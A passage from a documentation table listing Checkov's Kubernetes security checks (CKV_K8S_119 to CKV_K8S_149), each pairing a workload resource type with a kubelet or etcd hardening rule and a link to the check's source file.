| CKV_K8S_119 | resource | StatefulSet | Ensure that the --peer-cert-file and --peer-key-file arguments are set as appropriate | Kubernetes | [EtcdPeerFiles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/EtcdPeerFiles.py) | | 7589 | CKV_K8S_121 | resource | Pod | Ensure that the --peer-client-cert-auth argument is set to true | Kubernetes | [PeerClientCertAuthTrue.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/PeerClientCertAuthTrue.py) | | 7590 | CKV_K8S_138 | resource | CronJob | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 7591 | CKV_K8S_138 | resource | DaemonSet | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 7592 | CKV_K8S_138 | resource | Deployment | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 7593 | CKV_K8S_138 | resource | DeploymentConfig | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 7594 | CKV_K8S_138 | resource | Job | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 7595 | CKV_K8S_138 | resource | Pod | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 7596 | CKV_K8S_138 | resource | PodTemplate | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 7597 | CKV_K8S_138 | resource | ReplicaSet | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 7598 | CKV_K8S_138 | resource | ReplicationController | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 7599 | CKV_K8S_138 | resource | StatefulSet | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [KubeletAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAnonymousAuth.py) | | 7600 | CKV_K8S_139 | resource | CronJob | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 7601 | CKV_K8S_139 | resource | DaemonSet | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 7602 | CKV_K8S_139 | resource | Deployment | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 7603 | CKV_K8S_139 | resource | DeploymentConfig | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 7604 | CKV_K8S_139 | resource | Job | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 7605 | CKV_K8S_139 | resource | Pod | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 7606 | CKV_K8S_139 | resource | PodTemplate | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 7607 | CKV_K8S_139 | resource | ReplicaSet | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 7608 | CKV_K8S_139 | resource | ReplicationController | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 7609 | CKV_K8S_139 | resource | StatefulSet | Ensure that the --authorization-mode argument is not set to AlwaysAllow | Kubernetes | [KubeletAuthorizationModeNotAlwaysAllow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletAuthorizationModeNotAlwaysAllow.py) | | 7610 | CKV_K8S_140 | resource | CronJob | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 7611 | CKV_K8S_140 | resource | DaemonSet | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 7612 | CKV_K8S_140 | resource | Deployment | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 7613 | CKV_K8S_140 | resource | DeploymentConfig | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 7614 | CKV_K8S_140 | resource | Job | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 7615 | CKV_K8S_140 | resource | Pod | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 7616 | CKV_K8S_140 | resource | PodTemplate | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 7617 | CKV_K8S_140 | resource | ReplicaSet | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 7618 | CKV_K8S_140 | resource | ReplicationController | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 7619 | CKV_K8S_140 | resource | StatefulSet | Ensure that the --client-ca-file argument is set as appropriate | Kubernetes | [KubeletClientCa.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletClientCa.py) | | 7620 | CKV_K8S_141 | resource | CronJob | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 7621 | CKV_K8S_141 | resource | DaemonSet | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 7622 | CKV_K8S_141 | resource | Deployment | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 7623 | CKV_K8S_141 | resource | DeploymentConfig | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 7624 | CKV_K8S_141 | resource | Job | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 7625 | CKV_K8S_141 | resource | Pod | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 7626 | CKV_K8S_141 | resource | PodTemplate | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 7627 | CKV_K8S_141 | resource | ReplicaSet | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 7628 | CKV_K8S_141 | resource | ReplicationController | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 7629 | CKV_K8S_141 | resource | StatefulSet | Ensure that the --read-only-port argument is set to 0 | Kubernetes | [KubeletReadOnlyPort.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletReadOnlyPort.py) | | 7630 | CKV_K8S_143 | resource | CronJob | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 7631 | CKV_K8S_143 | resource | DaemonSet | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 7632 | CKV_K8S_143 | resource | Deployment | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 7633 | CKV_K8S_143 | resource | DeploymentConfig | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 7634 | CKV_K8S_143 | resource | Job | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 7635 | CKV_K8S_143 | resource | Pod | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 7636 | CKV_K8S_143 | resource | PodTemplate | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 7637 | CKV_K8S_143 | resource | ReplicaSet | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 7638 | CKV_K8S_143 | resource | ReplicationController | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 7639 | CKV_K8S_143 | resource | StatefulSet | Ensure that the --streaming-connection-idle-timeout argument is not set to 0 | Kubernetes | [KubeletStreamingConnectionIdleTimeout.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletStreamingConnectionIdleTimeout.py) | | 7640 | CKV_K8S_144 | resource | CronJob | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 7641 | CKV_K8S_144 | resource | DaemonSet | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 7642 | CKV_K8S_144 | resource | Deployment | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 7643 | CKV_K8S_144 | resource | DeploymentConfig | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 7644 | CKV_K8S_144 | resource | Job | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 7645 | CKV_K8S_144 | resource | Pod | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 7646 | CKV_K8S_144 | resource | PodTemplate | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 7647 | CKV_K8S_144 | resource | ReplicaSet | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 7648 | CKV_K8S_144 | resource | ReplicationController | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 7649 | CKV_K8S_144 | resource | StatefulSet | Ensure that the --protect-kernel-defaults argument is set to true | Kubernetes | [KubeletProtectKernelDefaults.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletProtectKernelDefaults.py) | | 7650 | CKV_K8S_145 | resource | CronJob | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 7651 | CKV_K8S_145 | resource | DaemonSet | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 7652 | CKV_K8S_145 | resource | Deployment | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 7653 | CKV_K8S_145 | resource | DeploymentConfig | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 7654 | CKV_K8S_145 | resource | Job | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 7655 | CKV_K8S_145 | resource | Pod | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 7656 | CKV_K8S_145 | resource | PodTemplate | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 7657 | CKV_K8S_145 | resource | ReplicaSet | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 7658 | CKV_K8S_145 | resource | ReplicationController | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 7659 | CKV_K8S_145 | resource | StatefulSet | Ensure that the --make-iptables-util-chains argument is set to true | Kubernetes | [KubeletMakeIptablesUtilChains.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletMakeIptablesUtilChains.py) | | 7660 | CKV_K8S_146 | resource | CronJob | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 7661 | CKV_K8S_146 | resource | DaemonSet | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 7662 | CKV_K8S_146 | resource | Deployment | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 7663 | CKV_K8S_146 | resource | DeploymentConfig | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 7664 | CKV_K8S_146 | resource | Job | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 7665 | CKV_K8S_146 | resource | Pod | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 7666 | CKV_K8S_146 | resource | PodTemplate | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 7667 | CKV_K8S_146 | resource | ReplicaSet | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 7668 | CKV_K8S_146 | resource | ReplicationController | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 7669 | CKV_K8S_146 | resource | StatefulSet | Ensure that the --hostname-override argument is not set | Kubernetes | [KubeletHostnameOverride.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletHostnameOverride.py) | | 7670 | CKV_K8S_147 | resource | CronJob | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 7671 | CKV_K8S_147 | resource | DaemonSet | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 7672 | CKV_K8S_147 | resource | Deployment | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 7673 | CKV_K8S_147 | resource | DeploymentConfig | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 7674 | CKV_K8S_147 | resource | Job | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 7675 | CKV_K8S_147 | resource | Pod | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 7676 | CKV_K8S_147 | resource | PodTemplate | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 7677 | CKV_K8S_147 | resource | ReplicaSet | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 7678 | CKV_K8S_147 | resource | ReplicationController | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 7679 | CKV_K8S_147 | resource | StatefulSet | Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture | Kubernetes | [KubletEventCapture.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletEventCapture.py) | | 7680 | CKV_K8S_148 | resource | CronJob | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 7681 | CKV_K8S_148 | resource | DaemonSet | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 7682 | CKV_K8S_148 | resource | Deployment | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 7683 | CKV_K8S_148 | resource | DeploymentConfig | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 7684 | CKV_K8S_148 | resource | Job | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 7685 | CKV_K8S_148 | resource | Pod | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 7686 | CKV_K8S_148 | resource | PodTemplate | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 7687 | CKV_K8S_148 | resource | ReplicaSet | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 7688 | CKV_K8S_148 | resource | ReplicationController | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 7689 | CKV_K8S_148 | resource | StatefulSet | Ensure that the --tls-cert-file and --tls-private-key-file arguments are set as appropriate | Kubernetes | [KubeletKeyFilesSetAppropriate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletKeyFilesSetAppropriate.py) | | 7690 | CKV_K8S_149 | resource | CronJob | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 7691 | CKV_K8S_149 | resource | DaemonSet | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 7692 | CKV_K8S_149 | resource | Deployment | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 7693 | CKV_K8S_149 | resource | DeploymentConfig | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 7694 | CKV_K8S_149 | resource | Job | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 7695 | CKV_K8S_149 | resource | Pod | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 7696 | CKV_K8S_149 | resource | PodTemplate | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | [KubletRotateCertificates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubletRotateCertificates.py) | | 7697 | CKV_K8S_149 | resource | ReplicaSet | Ensure that the --rotate-certificates argument is not set to false | Kubernetes | 